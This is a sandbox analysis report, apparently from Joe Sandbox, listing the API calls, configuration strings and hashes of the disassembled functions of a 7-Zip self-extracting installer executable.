Part of subcall function 004032D9: ??2@YAPAXI@Z.MSVCRT(00000018,00000000,004049F2,?,?,?), ref: 004032DE

Part of subcall function 0040269A: ??3@YAXPAX@Z.MSVCRT(?,-00000008,00404A32,?,?,?), ref: 004026A0
Part of subcall function 0040269A: ??3@YAXPAX@Z.MSVCRT(?,?,-00000008,00404A32,?,?,?), ref: 004026A7

GetCommandLineW.KERNEL32(?,?,00000000,0000000A), ref: 0040604E

Part of subcall function 0040421B: lstrlenW.KERNEL32(Mg@,00000000,?,00000000,00404262,00000000,00000000,0040674D,?,waitall,00000000,00000000,?,?,00419810), ref: 00404228
Part of subcall function 0040421B: lstrlenW.KERNEL32(?,?,?,00419810), ref: 00404231
Part of subcall function 0040421B: _wcsnicmp.MSVCRT ref: 0040423D

_wtol.MSVCRT ref: 00405F6B
??3@YAXPAX@Z.MSVCRT(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000020), ref: 004060C6
??3@YAXPAX@Z.MSVCRT(?,?,00000000), ref: 004060CE
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000), ref: 004060D6
??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000000), ref: 004060DE
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,00000000), ref: 004060E6
GetCurrentProcess.KERNEL32(000000FF,000000FF,?,?,?,?,00000000), ref: 004060F2
SetProcessWorkingSetSize.KERNEL32(00000000), ref: 004060F9
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,00000000), ref: 00406116
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,00000000), ref: 0040611E
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000), ref: 00406126
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0040612E
??3@YAXPAX@Z.MSVCRT(?,?,00000000,0000000A), ref: 0040614D
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,00000000), ref: 00406167
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,00000000), ref: 0040616F
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000), ref: 00406177
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0040617F
??3@YAXPAX@Z.MSVCRT(?,?,00000002,?,00000000,?,00000000,0000000A), ref: 0040622E
??3@YAXPAX@Z.MSVCRT(?,00000011,00000000,00000000,?,?,?,?,00000000,0000000A), ref: 004062C5
CoInitialize.OLE32(00000000), ref: 004062F2
_wtol.MSVCRT ref: 00406338
??3@YAXPAX@Z.MSVCRT(?,?), ref: 0040635A
GetKeyState.USER32(00000010), ref: 004063BE
??3@YAXPAX@Z.MSVCRT(?), ref: 004064F8
??3@YAXPAX@Z.MSVCRT(?), ref: 00406506
??3@YAXPAX@Z.MSVCRT(?,00000000,0000000E,?,?,?,00000000,AutoInstall), ref: 0040652F
??3@YAXPAX@Z.MSVCRT(?,?,00000000,0000000E,?,?,?,00000000,AutoInstall), ref: 00406537
??3@YAXPAX@Z.MSVCRT(?), ref: 00406553
??3@YAXPAX@Z.MSVCRT(?,?), ref: 0040655B
??3@YAXPAX@Z.MSVCRT(?,00000000), ref: 0040658B
??3@YAXPAX@Z.MSVCRT(?,00419810), ref: 004065CB
??3@YAXPAX@Z.MSVCRT(?,00419810), ref: 00406634
??3@YAXPAX@Z.MSVCRT(?,?,00419810), ref: 0040663C
??3@YAXPAX@Z.MSVCRT(?,00000000,?,?,?,?,00000000,AutoInstall,?,?,00419810), ref: 00406701
??3@YAXPAX@Z.MSVCRT(?,?,00000000,?,?,?,?,00000000,AutoInstall,?,?,00419810), ref: 0040670C
GetFileAttributesW.KERNEL32(?,00000000,?,?,?,?,00000000,AutoInstall,?,?,00419810), ref: 00406716
??3@YAXPAX@Z.MSVCRT(?,00000000,AutoInstall,?,?,00419810), ref: 004067D0
??3@YAXPAX@Z.MSVCRT(?,?,00000000,AutoInstall,?,?,00419810), ref: 004067D8
_wtol.MSVCRT ref: 0040686C
??3@YAXPAX@Z.MSVCRT(?,?,00000000,?,?,?,?,?,?), ref: 00406A4B
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,?,?,?,?,?,?), ref: 00406A53

Part of subcall function 00404F67: memset.MSVCRT ref: 00404F8B
Part of subcall function 00404F67: ??3@YAXPAX@Z.MSVCRT(?,00000000,?,?,00000000), ref: 00404FE4
Part of subcall function 00404F67: ??3@YAXPAX@Z.MSVCRT(00000002,?), ref: 00404FEC

??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00406A77

Part of subcall function 004023B5: LoadLibraryA.KERNEL32(kernel32,Wow64RevertWow64FsRedirection,00406A9D,00000000,?,?), ref: 004023C8
Part of subcall function 004023B5: GetProcAddress.KERNEL32(00000000), ref: 004023CF

??3@YAXPAX@Z.MSVCRT(?,00000000,?,?), ref: 00406AC0
??3@YAXPAX@Z.MSVCRT(?,?,00000000,?,?), ref: 00406AC8
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,?,?), ref: 00406AD0
??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000000,?,?), ref: 00406AD6
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00406B60
??3@YAXPAX@Z.MSVCRT(?,00000001,00000010,?), ref: 00406B81
??3@YAXPAX@Z.MSVCRT(?,?,00000001,00000010,?), ref: 00406B89
??3@YAXPAX@Z.MSVCRT(?,?,?,00000001,00000010,?), ref: 00406B91
??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000001,00000010,?), ref: 00406B97
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,00000001,00000010,?), ref: 00406B9F
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,00000001,00000010,?), ref: 00406BA7
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,00000001,00000010,?), ref: 00406BAF
??3@YAXPAX@Z.MSVCRT(?,00000000,?,?), ref: 00406BCE
??3@YAXPAX@Z.MSVCRT(?,?,00000000,?,?), ref: 00406BD6
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,?,?), ref: 00406BDE
??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000000,?,?), ref: 00406BE4
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,?,00000000,?,?), ref: 00406C1D
??3@YAXPAX@Z.MSVCRT(?,?,00000000,?,?), ref: 00406C47
??3@YAXPAX@Z.MSVCRT(?,00000000,?,00000000,0000000A), ref: 00406253

Part of subcall function 00407CE8: ??3@YAXPAX@Z.MSVCRT(00000000), ref: 00407D48
Part of subcall function 00407CE8: ??3@YAXPAX@Z.MSVCRT(?,00000000), ref: 00407D50

Part of subcall function 00407A5B: ??3@YAXPAX@Z.MSVCRT(?,00408571,00000002,00000000,00419810), ref: 00407A64

??3@YAXPAX@Z.MSVCRT(?,?,00000000,?,?), ref: 00406D0B
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,?,?), ref: 00406D13
??3@YAXPAX@Z.MSVCRT(00000000,?,00000000,?,?), ref: 00406D2A
??3@YAXPAX@Z.MSVCRT(?,?,00000000,?,?), ref: 00406D3E
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,?,?), ref: 00406D46
MessageBoxA.USER32(00000000,Sorry, this program requires Microsoft Windows 2000 or later.,7-Zip SFX,00000010), ref: 00406D5F

Strings

Delete, xrefs: 00406C2C
ExecuteFile, xrefs: 0040637E, 00406476, 00406484
7-Zip SFX, xrefs: 00406D53
AutoInstall, xrefs: 004063F0, 0040644B, 004067B0
shc, xrefs: 00406881
bpt, xrefs: 00405F7C
" -, xrefs: 0040606F
hidcon, xrefs: 004067E7
BeginPrompt, xrefs: 0040638E
waitall, xrefs: 00406742
x64, xrefs: 004068FE
HelpText, xrefs: 00406279
x86, xrefs: 004068C5
InstallPath, xrefs: 004062FC
_, xrefs: 00405B69, 00405B8F
del, xrefs: 004068A1
GUIFlags, xrefs: 00405EB1
SelfDelete, xrefs: 00405F14, 00406CD9
RunProgram, xrefs: 00406383, 0040649A, 004064A8
xu_, xrefs: 00405AF3
sfxwaitall, xrefs: 004058A1
sfxelevation, xrefs: 004058BD, 0040606A
BeginPromptTimeout, xrefs: 00405F95, 00406325
i386, xrefs: 004068D8
7zSfxString%d, xrefs: 00405D24
nowait, xrefs: 00406805
GUIMode, xrefs: 00405E8E
Sorry, this program requires Microsoft Windows 2000 or later., xrefs: 00406D58
FinishMessage, xrefs: 00406C73
amd64, xrefs: 004068EB
H|_, xrefs: 00405AE9, 00405B11
Shortcut, xrefs: 00406C04
@v_, xrefs: 00405B3E, 00405B58, 00405B68, 00405B85
sfxconfig, xrefs: 00405A8A, 00405C55
OverwriteMode, xrefs: 00405E4A
ExecuteParameters, xrefs: 00406964
SetEnvironment, xrefs: 004061A1, 004061A9, 0040623A
setup.exe, xrefs: 004066C9, 004066CE, 00406729
sfxversion, xrefs: 0040585C
MiscFlags, xrefs: 00405ED4
forcenowait, xrefs: 00406829
7ZipSfx.%03x, xrefs: 0040656E

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: ??3@$_wtol$lstrlen$Message$??2@CommandCurrentFileLineModuleProcessTimer$?_set_new_handler@@AddressAttributesCallbackCreateDirectoryDispatchDispatcherHandleInitializeKillLibraryLoadNameProcSizeStateUserVersionWindowWorking_wcsnicmpmemsetwsprintf
String ID: " -$7-Zip SFX$7ZipSfx.%03x$7zSfxString%d$@v_$AutoInstall$BeginPrompt$BeginPromptTimeout$Delete$ExecuteFile$ExecuteParameters$FinishMessage$GUIFlags$GUIMode$HelpText$H|_$InstallPath$MiscFlags$OverwriteMode$RunProgram$SelfDelete$SetEnvironment$Shortcut$Sorry, this program requires Microsoft Windows 2000 or later.$amd64$bpt$del$forcenowait$hidcon$i386$nowait$setup.exe$sfxconfig$sfxelevation$sfxversion$sfxwaitall$shc$waitall$x64$x86$xu_$_
API String ID: 1141480454-4210251009
Opcode ID: 70599bd1909c1660afbe8675f911dde0ba5a546dff0894423a23835351c4fce5
Instruction ID: 2089f84092e6f9dd7ccb59dec8b65dd0323b364c678a6dd427d939ae7de33dee
Opcode Fuzzy Hash: 70599bd1909c1660afbe8675f911dde0ba5a546dff0894423a23835351c4fce5
Instruction Fuzzy Hash: 0ED2B071900205AADF25BF61DC46AEE37A8EF50308F10803BF906B62D1DB7D9996CB5D

Function 00401815 Relevance: 22.8, APIs: 15, Instructions: 304
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c73201a278f1b3fb0192b37316eaaccfca94a9c717224a51945d29c04819a4bf
Instruction ID: a60b5a69a01ec9efe61fd2c0eaeb1ac451c96722a8658d603a3df3c815bca288
Opcode Fuzzy Hash: c73201a278f1b3fb0192b37316eaaccfca94a9c717224a51945d29c04819a4bf
Instruction Fuzzy Hash: 81B18D71900209EFCB15EFA5D8819EEB7B5FF44314B10842BF412BB2E1DB39A946CB58

Function 0040236F Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(kernel32,GetNativeSystemInfo,?,?,?,?,?,004023A5,00405BA0,00419858,00419858), ref: 0040237F
GetProcAddress.KERNEL32(00000000), ref: 00402386
GetNativeSystemInfo.KERNELBASE(?,?,?,?,?,?,004023A5,00405BA0,00419858,00419858), ref: 00402394

Strings

kernel32, xrefs: 0040237A
GetNativeSystemInfo, xrefs: 00402375

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: AddressInfoLibraryLoadNativeProcSystem
String ID: GetNativeSystemInfo$kernel32
API String ID: 2103483237-3846845290
Opcode ID: a94058319a2387ce573cbdccf1dcafea5043f54207b6f02b0e86712a059d6701
Instruction ID: a8ef7632441d972feee251461dd82ff97bfeab42fd74a07c16b34688063011c9
Opcode Fuzzy Hash: a94058319a2387ce573cbdccf1dcafea5043f54207b6f02b0e86712a059d6701
Instruction Fuzzy Hash: 8FD05E70B00A08B6CB11ABB56D0ABDB32F959886487540461A802F00C0EAFCDD80C368

Function 00403387 Relevance: 7.5, APIs: 5, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesW.KERNELBASE(?,-00000001), ref: 00403395
SetLastError.KERNEL32(00000010), ref: 004033AA

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: AttributesErrorFileLast
String ID:
API String ID: 1799206407-0
Opcode ID: 9fcf262d0011693808f1a8ae36353e57a3cd3c7d334706e154b09c6bb7c8a146
Instruction ID: bf2ef4a5338da23da25cb7262d028f8c999e3ef8181ecb362b3a9c4d4c50f47e
Opcode Fuzzy Hash: 9fcf262d0011693808f1a8ae36353e57a3cd3c7d334706e154b09c6bb7c8a146
Instruction Fuzzy Hash: 2F01A231510914ABDB111F789C8D6DA3B5CAF4132AF504632FD26F11E0DB38DB069A5D

Function 004011D1 Relevance: 3.0, APIs: 2, Instructions: 42windowCOMMON

Download Yara Rule

APIs

GetDiskFreeSpaceExW.KERNELBASE(?,00000000,00000000), ref: 004011ED
SendMessageW.USER32(00008001,00000000,?), ref: 00401246

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: DiskFreeMessageSendSpace
String ID:
API String ID: 696007252-0
Opcode ID: c4409eea25fa902e72ed841aea0622abf6309c0a7110b39fd0afdcd0313368d3
Instruction ID: 6bce3cc04fac88c0623c077a1f6ff58a39868f34b7b8d3af9ac8bc0393cf14a7
Opcode Fuzzy Hash: c4409eea25fa902e72ed841aea0622abf6309c0a7110b39fd0afdcd0313368d3
Instruction Fuzzy Hash: C5018B30220205FBEB10AF50EC89F9A37A8EB01300F1084BAF514F91E0DBB9AC408B1D

Function 00404F67 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 78
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00404F8B
??3@YAXPAX@Z.MSVCRT(?,00000000,?,?,00000000), ref: 00404FE4
??3@YAXPAX@Z.MSVCRT(00000002,?), ref: 00404FEC
ShellExecuteExW.SHELL32(?), ref: 0040500A
WaitForSingleObject.KERNEL32(00406A69,000000FF), ref: 00405022
CloseHandle.KERNEL32(00406A69), ref: 0040502B
??3@YAXPAX@Z.MSVCRT(?), ref: 00405032

Strings

$gA, xrefs: 00404FBE

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: ??3@$CloseExecuteHandleObjectShellSingleWaitmemset
String ID: $gA
API String ID: 2700081640-3949116232
Opcode ID: af380bbf304387a9167cbd1d4d1862e6770bcacde50da9e8c22bf20be027a6a5
Instruction ID: ed471f47135b1f40d8481ce0364afbd0fdc4c640c0e5737cceb289ed8d9b0336
Opcode Fuzzy Hash: af380bbf304387a9167cbd1d4d1862e6770bcacde50da9e8c22bf20be027a6a5
Instruction Fuzzy Hash: 0A218071C00249ABDF11EFD5D8459DEBBB8EF44318F10812BF915762A0DB785949CF58

Function 00401D21 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 47
timewindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(00000000,00000000,?,?,?,?,?,?,00405740,?,00000000), ref: 00401D2D
CreateWindowExW.USER32(00000000,Static,004154C8,00000000,000000F6,000000F6,00000005,00000005,00000000,00000000,00000000), ref: 00401D4A
SetTimer.USER32(00000000,00000001,00000001,00000000), ref: 00401D5C
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00401D69
DispatchMessageW.USER32(?), ref: 00401D73
KillTimer.USER32(00000000,00000001,?,?,?,?,?,?,00405740,?,00000000), ref: 00401D7C
KiUserCallbackDispatcher.NTDLL(00000000,?,?,?,?,?,?,00405740,?,00000000), ref: 00401D83

Strings

Static, xrefs: 00401D44

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: MessageTimer$CallbackCreateDispatchDispatcherHandleKillModuleUserWindow
String ID: Static
API String ID: 2479445380-2272013587
Opcode ID: 9176f2b3be156760845f27d0c503cf1f669651295b521d97bc39be25fea497be
Instruction ID: 383de423edee8b1f15e14e65255527aef4da18b75050025dbc481d2ec4aca0b1
Opcode Fuzzy Hash: 9176f2b3be156760845f27d0c503cf1f669651295b521d97bc39be25fea497be
Instruction Fuzzy Hash: 51F0F432542925BBDA2127659C4DFDF3E2CDFC6B72F104161F619E50D0DAB84041CAF9

Function 004036F1 Relevance: 10.6, APIs: 7, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(004017CF,00000000,?,?,?,?,?,?,004017CF,?), ref: 004036FE
GetSystemTimeAsFileTime.KERNEL32(?,004017CF,?,?,?,?,004017CF,?), ref: 00403774
GetFileAttributesW.KERNELBASE(?,?,?,?,?,004017CF,?), ref: 0040377B
??3@YAXPAX@Z.MSVCRT(?,004017CF,?,?,?,?,004017CF,?), ref: 0040383A

Part of subcall function 00401172: ??2@YAPAXI@Z.MSVCRT(00000000,00000000,?,00000000,0040146C,00000003,?,004057B0,?,00000000), ref: 00401192
Part of subcall function 00401172: ??3@YAXPAX@Z.MSVCRT(?,00000000,?,00000000,0040146C,00000003,?,004057B0,?,00000000), ref: 004011B8

memcpy.MSVCRT(-00000001,004017CF,?,?,?,?,?,004017CF,?), ref: 004037CC
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,004017CF,?), ref: 00403809
??3@YAXPAX@Z.MSVCRT(?,00000001,0000000C,004017CF,004017CF,?,?,?,?,004017CF,?), ref: 0040384F

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: ??3@$FileTime$??2@AttributesSystemlstrlenmemcpy
String ID:
API String ID: 846840743-0
Opcode ID: 56e83d9032eb4557e1cbfa7845c089d1cc7cb79c4288f6695d96d71fac981e1d
Instruction ID: 91e79cb9f272e0fc84db3cde8408d575c4b848c544f3ea2b05d11415b181eedc
Opcode Fuzzy Hash: 56e83d9032eb4557e1cbfa7845c089d1cc7cb79c4288f6695d96d71fac981e1d
Instruction Fuzzy Hash: 0841B6B6900211A6DB20BF598845BBFBABCEF41706F50813BF941B32C5D77C9A4282DD

Function 0040F227 Relevance: 9.1, APIs: 3, Strings: 2, Instructions: 388
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 0040F230
??2@YAPAXI@Z.MSVCRT(00000038,00000001), ref: 0040F3CE
??2@YAPAXI@Z.MSVCRT(00000038,00000000,00000001), ref: 0040F4A1

Part of subcall function 0040F776: ??2@YAPAXI@Z.MSVCRT(00000020,?,00000000,?,0040F4B2,00000000,00000001), ref: 0040F79E

Strings

{D@, xrefs: 0040F290, 0040F2A7
pmA, xrefs: 0040F2EB

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: ??2@$H_prolog
String ID: pmA${D@
API String ID: 3431946709-901781089
Opcode ID: 5f2616ad24b74ab3b3c53048b37fa2c0e98c535542d0e7834049dc9cf8634cb0
Instruction ID: 4b0d62aee0caa64fe906b0c8bb83bc11348460c21612f4a75cf9423b72749376
Opcode Fuzzy Hash: 5f2616ad24b74ab3b3c53048b37fa2c0e98c535542d0e7834049dc9cf8634cb0
Instruction Fuzzy Hash: 27F14971600209DFCB24DF65C884AAA77E5BF48314F24417AFC15AB7A2DB39EC4ACB54

Function 00401B75 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNELBASE(k7@,00000000,-00000001,0040376B,?,004017CF,?,?,?,?,004017CF,?), ref: 00401B7C
GetLastError.KERNEL32(?,?,?,?,004017CF,?), ref: 00401B86
SetLastError.KERNEL32(000000B7,?,?,?,?,004017CF,?), ref: 00401B96
GetFileAttributesW.KERNELBASE(?,?,?,?,?,004017CF,?), ref: 00401BA4

Strings

k7@, xrefs: 00401B78

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: ErrorLast$AttributesCreateDirectoryFile
String ID: k7@
API String ID: 635176117-1561861239
Opcode ID: 7fa23999d3db3281292cd00d2626ae9ff6d2ad14d17e5580772b07dc82ab3e50
Instruction ID: 71014ff69d247b10dec1bc4f18777740662f48cc5fd99e7c756ec1d8f22ae331
Opcode Fuzzy Hash: 7fa23999d3db3281292cd00d2626ae9ff6d2ad14d17e5580772b07dc82ab3e50
Instruction Fuzzy Hash: 72E04831918510EFDB125B34FC48BDF7B659F85365F908672F459E01F4E3749C428549

Function 0040E9EF Relevance: 8.0, APIs: 3, Strings: 2, Instructions: 462
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

??2@YAPAXI@Z.MSVCRT(00000018,00000000,?,00000000,?), ref: 0040EA5A
??2@YAPAXI@Z.MSVCRT(00000028,00000000,00000000,?,00000000,?), ref: 0040EAA4

Strings

{D@, xrefs: 0040ED6C, 0040EED8
DmA, xrefs: 0040EA31

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: ??2@
String ID: DmA${D@
API String ID: 1033339047-1777112864
Opcode ID: 0fbc1e047aa24a6cf396f6002696145173c8f9cc79442394acc3b55e615792f3
Instruction ID: 6b6f199f6b2a7d9dc60afa7eeb36d7837fa60508d4a378e5edde095099593778
Opcode Fuzzy Hash: 0fbc1e047aa24a6cf396f6002696145173c8f9cc79442394acc3b55e615792f3
Instruction Fuzzy Hash: 0E120371900249DFCB24DF66C88099ABBB5FF08304B14496EF91AA7391DB39E995CF84

Function 00410CCB Relevance: 7.6, APIs: 5, Instructions: 141
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memcpy.MSVCRT(00000000,?,00000020,00010000), ref: 00410D22
memmove.MSVCRT(00000000,?,00000020,?,00010000), ref: 00410DB9
??3@YAXPAX@Z.MSVCRT(00000000), ref: 00410DC5

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: ??3@memcpymemmove
String ID:
API String ID: 3549172513-0
Opcode ID: 68ec5b1761c5ee7f9fc326a7c1c6742ca84d938ae768d4aa852de07e3c909998
Instruction ID: 2e51937533cdabe9fe59c05819b629b516a53c036badf135e90f0136c29b37f2
Opcode Fuzzy Hash: 68ec5b1761c5ee7f9fc326a7c1c6742ca84d938ae768d4aa852de07e3c909998
